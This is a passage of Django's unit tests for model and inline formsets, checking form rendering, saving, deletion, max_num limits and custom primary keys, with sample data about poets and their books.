'form-0-name': 'Arthur Rimbaud', 'form-1-id': str(author1.id), 'form-1-name': 'Charles Baudelaire', 'form-2-name': 'Paul Verlaine', } formset = AuthorFormSet(data=data, queryset=qs) self.assertTrue(formset.is_valid()) # Only changed or new objects are returned from formset.save() saved = formset.save() self.assertEqual(len(saved), 1) author3 = saved[0] self.assertEqual(author3, Author.objects.get(name='Paul Verlaine')) authors = list(Author.objects.order_by('name')) self.assertEqual(authors, [author2, author1, author3]) # This probably shouldn't happen, but it will. If an add form was # marked for deletion, make sure we don't save that form. qs = Author.objects.order_by('name') AuthorFormSet = modelformset_factory(Author, fields="__all__", extra=1, can_delete=True) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 4) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-name">Name:</label> <input id="id_form-0-name" type="text" name="form-0-name" value="Arthur Rimbaud" maxlength="100" /></p>\n' '<p><label for="id_form-0-DELETE">Delete:</label> <input type="checkbox" name="form-0-DELETE" id="id_form-0-DELETE" /><input type="hidden" name="form-0-id" value="%d" id="id_form-0-id" /></p>' % author2.id) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_form-1-name">Name:</label> <input id="id_form-1-name" type="text" name="form-1-name" value="Charles Baudelaire" maxlength="100" /></p>\n' '<p><label for="id_form-1-DELETE">Delete:</label> <input type="checkbox" name="form-1-DELETE" id="id_form-1-DELETE" /><input type="hidden" name="form-1-id" value="%d" id="id_form-1-id" /></p>' % author1.id) self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_form-2-name">Name:</label> <input id="id_form-2-name" type="text" name="form-2-name" value="Paul Verlaine" maxlength="100" /></p>\n' '<p><label for="id_form-2-DELETE">Delete:</label> <input type="checkbox" name="form-2-DELETE" id="id_form-2-DELETE" /><input type="hidden" name="form-2-id" value="%d" id="id_form-2-id" /></p>' % author3.id) self.assertHTMLEqual(formset.forms[3].as_p(), '<p><label for="id_form-3-name">Name:</label> <input id="id_form-3-name" type="text" name="form-3-name" maxlength="100" /></p>\n' '<p><label for="id_form-3-DELETE">Delete:</label> <input type="checkbox" name="form-3-DELETE" id="id_form-3-DELETE" /><input type="hidden" name="form-3-id" id="id_form-3-id" /></p>') data = { 'form-TOTAL_FORMS': '4', # the number of forms rendered 'form-INITIAL_FORMS': '3', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-id': str(author2.id), 'form-0-name': 'Arthur Rimbaud', 'form-1-id': str(author1.id), 'form-1-name': 'Charles Baudelaire', 'form-2-id': str(author3.id), 'form-2-name': 'Paul Verlaine', 'form-3-name': 'Walt Whitman', 'form-3-DELETE': 'on', } formset = AuthorFormSet(data=data, queryset=qs) self.assertTrue(formset.is_valid()) # No objects were changed or saved so nothing will come back. self.assertEqual(formset.save(), []) authors = list(Author.objects.order_by('name')) self.assertEqual(authors, [author2, author1, author3]) # Let's edit a record to ensure save only returns that one record. data = { 'form-TOTAL_FORMS': '4', # the number of forms rendered 'form-INITIAL_FORMS': '3', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-id': str(author2.id), 'form-0-name': 'Walt Whitman', 'form-1-id': str(author1.id), 'form-1-name': 'Charles Baudelaire', 'form-2-id': str(author3.id), 'form-2-name': 'Paul Verlaine', 'form-3-name': '', 'form-3-DELETE': '', } formset = AuthorFormSet(data=data, queryset=qs) self.assertTrue(formset.is_valid()) # One record has changed. saved = formset.save() self.assertEqual(len(saved), 1) self.assertEqual(saved[0], Author.objects.get(name='Walt Whitman')) def test_commit_false(self): # Test the behavior of commit=False and save_m2m author1 = Author.objects.create(name='Charles Baudelaire') author2 = Author.objects.create(name='Paul Verlaine') author3 = Author.objects.create(name='Walt Whitman') meeting = AuthorMeeting.objects.create(created=date.today()) meeting.authors = Author.objects.all() # create an Author instance to add to the meeting. author4 = Author.objects.create(name='John Steinbeck') AuthorMeetingFormSet = modelformset_factory(AuthorMeeting, fields="__all__", extra=1, can_delete=True) data = { 'form-TOTAL_FORMS': '2', # the number of forms rendered 'form-INITIAL_FORMS': '1', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-id': str(meeting.id), 'form-0-name': '2nd Tuesday of the Week Meeting', 'form-0-authors': [author2.id, author1.id, author3.id, author4.id], 'form-1-name': '', 'form-1-authors': '', 'form-1-DELETE': '', } formset = AuthorMeetingFormSet(data=data, queryset=AuthorMeeting.objects.all()) self.assertTrue(formset.is_valid()) instances = formset.save(commit=False) for instance in instances: instance.created = date.today() instance.save() formset.save_m2m() self.assertQuerysetEqual(instances[0].authors.all(), [ '<Author: Charles Baudelaire>', '<Author: John Steinbeck>', '<Author: Paul Verlaine>', '<Author: Walt Whitman>', ]) def test_max_num(self): # Test the behavior of max_num with model formsets. It should allow # all existing related objects/inlines for a given object to be # displayed, but not allow the creation of new inlines beyond max_num. Author.objects.create(name='Charles Baudelaire') Author.objects.create(name='Paul Verlaine') Author.objects.create(name='Walt Whitman') qs = Author.objects.order_by('name') AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=None, extra=3) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 6) self.assertEqual(len(formset.extra_forms), 3) AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=4, extra=3) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 4) self.assertEqual(len(formset.extra_forms), 1) AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=0, extra=3) formset = AuthorFormSet(queryset=qs) self.assertEqual(len(formset.forms), 3) self.assertEqual(len(formset.extra_forms), 0) AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=None) formset = AuthorFormSet(queryset=qs) self.assertQuerysetEqual(formset.get_queryset(), [ '<Author: Charles Baudelaire>', '<Author: Paul Verlaine>', '<Author: Walt Whitman>', ]) AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=0) formset = AuthorFormSet(queryset=qs) self.assertQuerysetEqual(formset.get_queryset(), [ '<Author: Charles Baudelaire>', '<Author: Paul Verlaine>', '<Author: Walt Whitman>', ]) AuthorFormSet = modelformset_factory(Author, fields="__all__", max_num=4) formset = AuthorFormSet(queryset=qs) self.assertQuerysetEqual(formset.get_queryset(), [ '<Author: Charles Baudelaire>', '<Author: Paul Verlaine>', '<Author: Walt Whitman>', ]) def test_custom_save_method(self): class PoetForm(forms.ModelForm): def save(self, commit=True): # change the name to "Vladimir Mayakovsky" just to be a jerk. author = super(PoetForm, self).save(commit=False) author.name = "Vladimir Mayakovsky" if commit: author.save() return author PoetFormSet = modelformset_factory(Poet, fields="__all__", form=PoetForm) data = { 'form-TOTAL_FORMS': '3', # the number of forms rendered 'form-INITIAL_FORMS': '0', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-name': 'Walt Whitman', 'form-1-name': 'Charles Baudelaire', 'form-2-name': '', } qs = Poet.objects.all() formset = PoetFormSet(data=data, queryset=qs) self.assertTrue(formset.is_valid()) poets = formset.save() self.assertEqual(len(poets), 2) poet1, poet2 = poets self.assertEqual(poet1.name, 'Vladimir Mayakovsky') self.assertEqual(poet2.name, 'Vladimir Mayakovsky') def test_custom_form(self): """ Test that model_formset respects fields and exclude parameters of custom form """ class PostForm1(forms.ModelForm): class Meta: model = Post fields = ('title', 'posted') class PostForm2(forms.ModelForm): class Meta: model = Post exclude = ('subtitle',) PostFormSet = modelformset_factory(Post, form=PostForm1) formset = PostFormSet() self.assertFalse("subtitle" in formset.forms[0].fields) PostFormSet = modelformset_factory(Post, form=PostForm2) formset = PostFormSet() self.assertFalse("subtitle" in formset.forms[0].fields) def test_custom_queryset_init(self): """ Test that a queryset can be overridden in the __init__ method. https://docs.djangoproject.com/en/dev/topics/forms/modelforms/#changing-the-queryset """ Author.objects.create(name='Charles Baudelaire') Author.objects.create(name='Paul Verlaine') class BaseAuthorFormSet(BaseModelFormSet): def __init__(self, *args, **kwargs): super(BaseAuthorFormSet, self).__init__(*args, **kwargs) self.queryset = Author.objects.filter(name__startswith='Charles') AuthorFormSet = modelformset_factory(Author, fields='__all__', formset=BaseAuthorFormSet) formset = AuthorFormSet() self.assertEqual(len(formset.get_queryset()), 1) def test_model_inheritance(self): BetterAuthorFormSet = modelformset_factory(BetterAuthor, fields="__all__") formset = BetterAuthorFormSet() self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-name">Name:</label> <input id="id_form-0-name" type="text" name="form-0-name" maxlength="100" /></p>\n' '<p><label for="id_form-0-write_speed">Write speed:</label> <input type="number" name="form-0-write_speed" id="id_form-0-write_speed" /><input type="hidden" name="form-0-author_ptr" id="id_form-0-author_ptr" /></p>') data = { 'form-TOTAL_FORMS': '1', # the number of forms rendered 'form-INITIAL_FORMS': '0', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-author_ptr': '', 'form-0-name': 'Ernest Hemingway', 'form-0-write_speed': '10', } formset = BetterAuthorFormSet(data) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) author1, = saved self.assertEqual(author1, BetterAuthor.objects.get(name='Ernest Hemingway')) hemingway_id = BetterAuthor.objects.get(name="Ernest Hemingway").pk formset = BetterAuthorFormSet() self.assertEqual(len(formset.forms), 2) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-name">Name:</label> <input id="id_form-0-name" type="text" name="form-0-name" value="Ernest Hemingway" maxlength="100" /></p>\n' '<p><label for="id_form-0-write_speed">Write speed:</label> <input type="number" name="form-0-write_speed" value="10" id="id_form-0-write_speed" /><input type="hidden" name="form-0-author_ptr" value="%d" id="id_form-0-author_ptr" /></p>' % hemingway_id) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_form-1-name">Name:</label> <input id="id_form-1-name" type="text" name="form-1-name" maxlength="100" /></p>\n' '<p><label for="id_form-1-write_speed">Write speed:</label> <input type="number" name="form-1-write_speed" id="id_form-1-write_speed" /><input type="hidden" name="form-1-author_ptr" id="id_form-1-author_ptr" /></p>') data = { 'form-TOTAL_FORMS': '2', # the number of forms rendered 'form-INITIAL_FORMS': '1', # the number of forms with initial data 'form-MAX_NUM_FORMS': '', # the max number of forms 'form-0-author_ptr': hemingway_id, 'form-0-name': 'Ernest Hemingway', 'form-0-write_speed': '10', 'form-1-author_ptr': '', 'form-1-name': '', 'form-1-write_speed': '', } formset = BetterAuthorFormSet(data) self.assertTrue(formset.is_valid()) self.assertEqual(formset.save(), []) def test_inline_formsets(self): # We can also create a formset that is tied to a parent model. This is # how the admin system's edit inline functionality works. AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=3, fields="__all__") author = Author.objects.create(name='Charles Baudelaire') formset = AuthorBooksFormSet(instance=author) self.assertEqual(len(formset.forms), 3) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_book_set-0-title">Title:</label> <input id="id_book_set-0-title" type="text" name="book_set-0-title" maxlength="100" /><input type="hidden" name="book_set-0-author" value="%d" id="id_book_set-0-author" /><input type="hidden" name="book_set-0-id" id="id_book_set-0-id" /></p>' % author.id) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_book_set-1-title">Title:</label> <input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" /><input type="hidden" name="book_set-1-author" value="%d" id="id_book_set-1-author" /><input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>' % author.id) self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_book_set-2-title">Title:</label> <input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" /><input type="hidden" name="book_set-2-author" value="%d" id="id_book_set-2-author" /><input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>' % author.id) data = { 'book_set-TOTAL_FORMS': '3', # the number of forms rendered 'book_set-INITIAL_FORMS': '0', # the number of forms with initial data 'book_set-MAX_NUM_FORMS': '', # the max number of forms 'book_set-0-title': 'Les Fleurs du Mal', 'book_set-1-title': '', 'book_set-2-title': '', } formset = AuthorBooksFormSet(data, instance=author) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) book1, = saved self.assertEqual(book1, Book.objects.get(title='Les Fleurs du Mal')) self.assertQuerysetEqual(author.book_set.all(), ['<Book: Les Fleurs du Mal>']) # Now that we've added a book to Charles Baudelaire, let's try adding # another one. This time though, an edit form will be available for # every existing book. AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__") author = Author.objects.get(name='Charles Baudelaire') formset = AuthorBooksFormSet(instance=author) self.assertEqual(len(formset.forms), 3) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_book_set-0-title">Title:</label> <input id="id_book_set-0-title" type="text" name="book_set-0-title" value="Les Fleurs du Mal" maxlength="100" /><input type="hidden" name="book_set-0-author" value="%d" id="id_book_set-0-author" /><input type="hidden" name="book_set-0-id" value="%d" id="id_book_set-0-id" /></p>' % (author.id, book1.id)) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_book_set-1-title">Title:</label> <input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" /><input type="hidden" name="book_set-1-author" value="%d" id="id_book_set-1-author" /><input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>' % author.id) self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_book_set-2-title">Title:</label> <input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" /><input type="hidden" name="book_set-2-author" value="%d" id="id_book_set-2-author" /><input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>' % author.id) data = { 'book_set-TOTAL_FORMS': '3', # the number of forms rendered 'book_set-INITIAL_FORMS': '1', # the number of forms with initial data 'book_set-MAX_NUM_FORMS': '', # the max number of forms 'book_set-0-id': str(book1.id), 'book_set-0-title': 'Les Fleurs du Mal', 'book_set-1-title': 'Les Paradis Artificiels', 'book_set-2-title': '', } formset = AuthorBooksFormSet(data, instance=author) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) book2, = saved self.assertEqual(book2, Book.objects.get(title='Les Paradis Artificiels')) # As you can see, 'Les Paradis Artificiels' is now a book belonging to # Charles Baudelaire. self.assertQuerysetEqual(author.book_set.order_by('title'), [ '<Book: Les Fleurs du Mal>', '<Book: Les Paradis Artificiels>', ]) def test_inline_formsets_save_as_new(self): # The save_as_new parameter lets you re-associate the data to a new # instance. This is used in the admin for save_as functionality. AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__") Author.objects.create(name='Charles Baudelaire') data = { 'book_set-TOTAL_FORMS': '3', # the number of forms rendered 'book_set-INITIAL_FORMS': '2', # the number of forms with initial data 'book_set-MAX_NUM_FORMS': '', # the max number of forms 'book_set-0-id': '1', 'book_set-0-title': 'Les Fleurs du Mal', 'book_set-1-id': '2', 'book_set-1-title': 'Les Paradis Artificiels', 'book_set-2-title': '', } formset = AuthorBooksFormSet(data, instance=Author(), save_as_new=True) self.assertTrue(formset.is_valid()) new_author = Author.objects.create(name='Charles Baudelaire') formset = AuthorBooksFormSet(data, instance=new_author, save_as_new=True) saved = formset.save() self.assertEqual(len(saved), 2) book1, book2 = saved self.assertEqual(book1.title, 'Les Fleurs du Mal') self.assertEqual(book2.title, 'Les Paradis Artificiels') # Test using a custom prefix on an inline formset. formset = AuthorBooksFormSet(prefix="test") self.assertEqual(len(formset.forms), 2) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_test-0-title">Title:</label> <input id="id_test-0-title" type="text" name="test-0-title" maxlength="100" /><input type="hidden" name="test-0-author" id="id_test-0-author" /><input type="hidden" name="test-0-id" id="id_test-0-id" /></p>') self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_test-1-title">Title:</label> <input id="id_test-1-title" type="text" name="test-1-title" maxlength="100" /><input type="hidden" name="test-1-author" id="id_test-1-author" /><input type="hidden" name="test-1-id" id="id_test-1-id" /></p>') def test_inline_formsets_with_custom_pk(self): # Test inline formsets where the inline-edited object has a custom # primary key that is not the fk to the parent object. self.maxDiff = 1024 AuthorBooksFormSet2 = inlineformset_factory(Author, BookWithCustomPK, can_delete=False, extra=1, fields="__all__") author = Author.objects.create(pk=1, name='Charles Baudelaire') formset = AuthorBooksFormSet2(instance=author) self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_bookwithcustompk_set-0-my_pk">My pk:</label> <input id="id_bookwithcustompk_set-0-my_pk" type="number" name="bookwithcustompk_set-0-my_pk" step="1" /></p>\n' '<p><label for="id_bookwithcustompk_set-0-title">Title:</label> <input id="id_bookwithcustompk_set-0-title" type="text" name="bookwithcustompk_set-0-title" maxlength="100" /><input type="hidden" name="bookwithcustompk_set-0-author" value="1" id="id_bookwithcustompk_set-0-author" /></p>') data = { 'bookwithcustompk_set-TOTAL_FORMS': '1', # the number of forms rendered 'bookwithcustompk_set-INITIAL_FORMS': '0', # the number of forms with initial data 'bookwithcustompk_set-MAX_NUM_FORMS': '', # the max number of forms 'bookwithcustompk_set-0-my_pk': '77777', 'bookwithcustompk_set-0-title': 'Les Fleurs du Mal', } formset = AuthorBooksFormSet2(data, instance=author) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) book1, = saved self.assertEqual(book1.pk, 77777) book1 = author.bookwithcustompk_set.get() self.assertEqual(book1.title, 'Les Fleurs du Mal') def test_inline_formsets_with_multi_table_inheritance(self): # Test inline formsets where the inline-edited object uses multi-table # inheritance, thus has a non AutoField yet auto-created primary key. AuthorBooksFormSet3 = inlineformset_factory(Author, AlternateBook, can_delete=False, extra=1, fields="__all__") author = Author.objects.create(pk=1, name='Charles Baudelaire') formset = AuthorBooksFormSet3(instance=author) self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_alternatebook_set-0-title">Title:</label> <input id="id_alternatebook_set-0-title" type="text" name="alternatebook_set-0-title" maxlength="100" /></p>\n' '<p><label for="id_alternatebook_set-0-notes">Notes:</label> <input id="id_alternatebook_set-0-notes" type="text" name="alternatebook_set-0-notes" maxlength="100" /><input type="hidden" name="alternatebook_set-0-author" value="1" id="id_alternatebook_set-0-author" /><input type="hidden" name="alternatebook_set-0-book_ptr" id="id_alternatebook_set-0-book_ptr" /></p>') data = { 'alternatebook_set-TOTAL_FORMS': '1', # the number of forms rendered 'alternatebook_set-INITIAL_FORMS': '0', # the number of forms with initial data 'alternatebook_set-MAX_NUM_FORMS': '', # the max number of forms 'alternatebook_set-0-title': 'Flowers of Evil', 'alternatebook_set-0-notes': 'English translation of Les Fleurs du Mal' } formset = AuthorBooksFormSet3(data, instance=author) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) book1, = saved self.assertEqual(book1.title, 'Flowers of Evil') self.assertEqual(book1.notes, 'English translation of Les Fleurs du Mal') @skipUnlessDBFeature('ignores_nulls_in_unique_constraints') def test_inline_formsets_with_nullable_unique_together(self): # Test inline formsets where the inline-edited object has a # unique_together constraint with a nullable member AuthorBooksFormSet4 = inlineformset_factory(Author, BookWithOptionalAltEditor, can_delete=False, extra=2, fields="__all__") author = Author.objects.create(pk=1, name='Charles Baudelaire') data = { 'bookwithoptionalalteditor_set-TOTAL_FORMS': '2', # the number of forms rendered 'bookwithoptionalalteditor_set-INITIAL_FORMS': '0', # the number of forms with initial data 'bookwithoptionalalteditor_set-MAX_NUM_FORMS': '', # the max number of forms 'bookwithoptionalalteditor_set-0-author': '1', 'bookwithoptionalalteditor_set-0-title': 'Les Fleurs du Mal', 'bookwithoptionalalteditor_set-1-author': '1', 'bookwithoptionalalteditor_set-1-title': 'Les Fleurs du Mal', } formset = AuthorBooksFormSet4(data, instance=author) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 2) book1, book2 = saved self.assertEqual(book1.author_id, 1) self.assertEqual(book1.title, 'Les Fleurs du Mal') self.assertEqual(book2.author_id, 1) self.assertEqual(book2.title, 'Les Fleurs du Mal') def test_inline_formsets_with_custom_save_method(self): AuthorBooksFormSet = inlineformset_factory(Author, Book, can_delete=False, extra=2, fields="__all__") author = Author.objects.create(pk=1, name='Charles Baudelaire') book1 = Book.objects.create(pk=1, author=author, title='Les Paradis Artificiels') book2 = Book.objects.create(pk=2, author=author, title='Les Fleurs du Mal') book3 = Book.objects.create(pk=3, author=author, title='Flowers of Evil') class PoemForm(forms.ModelForm): def save(self, commit=True): # change the name to "Brooklyn Bridge" just to be a jerk. poem = super(PoemForm, self).save(commit=False) poem.name = "Brooklyn Bridge" if commit: poem.save() return poem PoemFormSet = inlineformset_factory(Poet, Poem, form=PoemForm, fields="__all__") data = { 'poem_set-TOTAL_FORMS': '3', # the number of forms rendered 'poem_set-INITIAL_FORMS': '0', # the number of forms with initial data 'poem_set-MAX_NUM_FORMS': '', # the max number of forms 'poem_set-0-name': 'The Cloud in Trousers', 'poem_set-1-name': 'I', 'poem_set-2-name': '', } poet = Poet.objects.create(name='Vladimir Mayakovsky') formset = PoemFormSet(data=data, instance=poet) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 2) poem1, poem2 = saved self.assertEqual(poem1.name, 'Brooklyn Bridge') self.assertEqual(poem2.name, 'Brooklyn Bridge') # We can provide a custom queryset to our InlineFormSet: custom_qs = Book.objects.order_by('-title') formset = AuthorBooksFormSet(instance=author, queryset=custom_qs) self.assertEqual(len(formset.forms), 5) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_book_set-0-title">Title:</label> <input id="id_book_set-0-title" type="text" name="book_set-0-title" value="Les Paradis Artificiels" maxlength="100" /><input type="hidden" name="book_set-0-author" value="1" id="id_book_set-0-author" /><input type="hidden" name="book_set-0-id" value="1" id="id_book_set-0-id" /></p>') self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_book_set-1-title">Title:</label> <input id="id_book_set-1-title" type="text" name="book_set-1-title" value="Les Fleurs du Mal" maxlength="100" /><input type="hidden" name="book_set-1-author" value="1" id="id_book_set-1-author" /><input type="hidden" name="book_set-1-id" value="2" id="id_book_set-1-id" /></p>') self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_book_set-2-title">Title:</label> <input id="id_book_set-2-title" type="text" name="book_set-2-title" value="Flowers of Evil" maxlength="100" /><input type="hidden" name="book_set-2-author" value="1" id="id_book_set-2-author" /><input type="hidden" name="book_set-2-id" value="3" id="id_book_set-2-id" /></p>') self.assertHTMLEqual(formset.forms[3].as_p(), '<p><label for="id_book_set-3-title">Title:</label> <input id="id_book_set-3-title" type="text" name="book_set-3-title" maxlength="100" /><input type="hidden" name="book_set-3-author" value="1" id="id_book_set-3-author" /><input type="hidden" name="book_set-3-id" id="id_book_set-3-id" /></p>') self.assertHTMLEqual(formset.forms[4].as_p(), '<p><label for="id_book_set-4-title">Title:</label> <input id="id_book_set-4-title" type="text" name="book_set-4-title" maxlength="100" /><input type="hidden" name="book_set-4-author" value="1" id="id_book_set-4-author" /><input type="hidden" name="book_set-4-id" id="id_book_set-4-id" /></p>') data = { 'book_set-TOTAL_FORMS': '5', # the number of forms rendered 'book_set-INITIAL_FORMS': '3', # the number of forms with initial data 'book_set-MAX_NUM_FORMS': '', # the max number of forms 'book_set-0-id': str(book1.id), 'book_set-0-title': 'Les Paradis Artificiels', 'book_set-1-id': str(book2.id), 'book_set-1-title': 'Les Fleurs du Mal', 'book_set-2-id': str(book3.id), 'book_set-2-title': 'Flowers of Evil', 'book_set-3-title': 'Revue des deux mondes', 'book_set-4-title': '', } formset = AuthorBooksFormSet(data, instance=author, queryset=custom_qs) self.assertTrue(formset.is_valid()) custom_qs = Book.objects.filter(title__startswith='F') formset = AuthorBooksFormSet(instance=author, queryset=custom_qs) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_book_set-0-title">Title:</label> <input id="id_book_set-0-title" type="text" name="book_set-0-title" value="Flowers of Evil" maxlength="100" /><input type="hidden" name="book_set-0-author" value="1" id="id_book_set-0-author" /><input type="hidden" name="book_set-0-id" value="3" id="id_book_set-0-id" /></p>') self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_book_set-1-title">Title:</label> <input id="id_book_set-1-title" type="text" name="book_set-1-title" maxlength="100" /><input type="hidden" name="book_set-1-author" value="1" id="id_book_set-1-author" /><input type="hidden" name="book_set-1-id" id="id_book_set-1-id" /></p>') self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_book_set-2-title">Title:</label> <input id="id_book_set-2-title" type="text" name="book_set-2-title" maxlength="100" /><input type="hidden" name="book_set-2-author" value="1" id="id_book_set-2-author" /><input type="hidden" name="book_set-2-id" id="id_book_set-2-id" /></p>') data = { 'book_set-TOTAL_FORMS': '3', # the number of forms rendered 'book_set-INITIAL_FORMS': '1', # the number of forms with initial data 'book_set-MAX_NUM_FORMS': '', # the max number of forms 'book_set-0-id': str(book3.id), 'book_set-0-title': 'Flowers of Evil', 'book_set-1-title': 'Revue des deux mondes', 'book_set-2-title': '', } formset = AuthorBooksFormSet(data, instance=author, queryset=custom_qs) self.assertTrue(formset.is_valid()) def test_custom_pk(self): # We need to ensure that it is displayed CustomPrimaryKeyFormSet = modelformset_factory(CustomPrimaryKey, fields="__all__") formset = CustomPrimaryKeyFormSet() self.assertEqual(len(formset.forms), 1) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-my_pk">My pk:</label> <input id="id_form-0-my_pk" type="text" name="form-0-my_pk" maxlength="10" /></p>\n' '<p><label for="id_form-0-some_field">Some field:</label> <input id="id_form-0-some_field" type="text" name="form-0-some_field" maxlength="100" /></p>') # Custom primary keys with ForeignKey, OneToOneField and AutoField ############ place = Place.objects.create(pk=1, name='Giordanos', city='Chicago') FormSet = inlineformset_factory(Place, Owner, extra=2, can_delete=False, fields="__all__") formset = FormSet(instance=place) self.assertEqual(len(formset.forms), 2) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_owner_set-0-name">Name:</label> <input id="id_owner_set-0-name" type="text" name="owner_set-0-name" maxlength="100" /><input type="hidden" name="owner_set-0-place" value="1" id="id_owner_set-0-place" /><input type="hidden" name="owner_set-0-auto_id" id="id_owner_set-0-auto_id" /></p>') self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_owner_set-1-name">Name:</label> <input id="id_owner_set-1-name" type="text" name="owner_set-1-name" maxlength="100" /><input type="hidden" name="owner_set-1-place" value="1" id="id_owner_set-1-place" /><input type="hidden" name="owner_set-1-auto_id" id="id_owner_set-1-auto_id" /></p>') data = { 'owner_set-TOTAL_FORMS': '2', 'owner_set-INITIAL_FORMS': '0', 'owner_set-MAX_NUM_FORMS': '', 'owner_set-0-auto_id': '', 'owner_set-0-name': 'Joe Perry', 'owner_set-1-auto_id': '', 'owner_set-1-name': '', } formset = FormSet(data, instance=place) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) owner1, = saved self.assertEqual(owner1.name, 'Joe Perry') self.assertEqual(owner1.place.name, 'Giordanos') formset = FormSet(instance=place) self.assertEqual(len(formset.forms), 3) self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_owner_set-0-name">Name:</label> <input id="id_owner_set-0-name" type="text" name="owner_set-0-name" value="Joe Perry" maxlength="100" /><input type="hidden" name="owner_set-0-place" value="1" id="id_owner_set-0-place" /><input type="hidden" name="owner_set-0-auto_id" value="%d" id="id_owner_set-0-auto_id" /></p>' % owner1.auto_id) self.assertHTMLEqual(formset.forms[1].as_p(), '<p><label for="id_owner_set-1-name">Name:</label> <input id="id_owner_set-1-name" type="text" name="owner_set-1-name" maxlength="100" /><input type="hidden" name="owner_set-1-place" value="1" id="id_owner_set-1-place" /><input type="hidden" name="owner_set-1-auto_id" id="id_owner_set-1-auto_id" /></p>') self.assertHTMLEqual(formset.forms[2].as_p(), '<p><label for="id_owner_set-2-name">Name:</label> <input id="id_owner_set-2-name" type="text" name="owner_set-2-name" maxlength="100" /><input type="hidden" name="owner_set-2-place" value="1" id="id_owner_set-2-place" /><input type="hidden" name="owner_set-2-auto_id" id="id_owner_set-2-auto_id" /></p>') data = { 'owner_set-TOTAL_FORMS': '3', 'owner_set-INITIAL_FORMS': '1', 'owner_set-MAX_NUM_FORMS': '', 'owner_set-0-auto_id': six.text_type(owner1.auto_id), 'owner_set-0-name': 'Joe Perry', 'owner_set-1-auto_id': '', 'owner_set-1-name': 'Jack Berry', 'owner_set-2-auto_id': '', 'owner_set-2-name': '', } formset = FormSet(data, instance=place) self.assertTrue(formset.is_valid()) saved = formset.save() self.assertEqual(len(saved), 1) owner2, = saved self.assertEqual(owner2.name, 'Jack Berry') self.assertEqual(owner2.place.name, 'Giordanos') # Ensure a custom primary key that is a ForeignKey or OneToOneField get rendered for the user to choose. FormSet = modelformset_factory(OwnerProfile, fields="__all__") formset = FormSet() self.assertHTMLEqual(formset.forms[0].as_p(), '<p><label for="id_form-0-owner">Owner:</label> <select name="form-0-owner" id="id_form-0-owner">\n' '<option value="" selected="selected">---------</option>\n' '<option value="%d">Joe Perry at Giordanos</option>\n' '<option value="%d">Jack Berry at Giordanos</option>\n' '</select></p>\n' '<p><label for="id_form-0-age">Age:</label> <input type="number" name="form-0-age" id="id_form-0-age" min="0" /></p>' % (owner1.auto_id, owner2.auto_id)) owner1 = Owner.objects.get(name='Joe Perry') FormSet = inlineformset_factory(Owner, OwnerProfile, max_num=1, can_delete=False, fields="__all__") self.assertEqual(FormSet.max_num, 1) formset = FormSet(instance=owner1) 